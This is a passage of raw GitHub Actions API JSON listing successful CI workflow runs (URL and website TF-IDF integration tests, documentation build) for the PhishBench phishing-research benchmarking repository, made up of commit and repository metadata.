thub.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038563,"name":"URL Integration Test","node_id":"WFR_kwLOCLXpC86nEvlj","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Url_Integration_Test.yml","display_title":"Update docs (#332)","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":12794728,"check_suite_id":7681724860,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3RvA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038563","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T10:53:30Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724860","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038563/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794728","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038559,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC86nEvlf","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Update docs (#332)","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":7681724845,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3RrQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038559","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T11:00:36Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724845","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038559/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2803038558,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nEvle","head_branch":"docs","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Documentation.yml","display_title":"Update docs (#332)","run_number":85,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7681724842,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByd3Rqg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2803038558","pull_requests":[],"created_at":"2022-08-05T10:42:51Z","updated_at":"2022-08-05T10:44:33Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:42:51Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681724842","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2803038558/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor 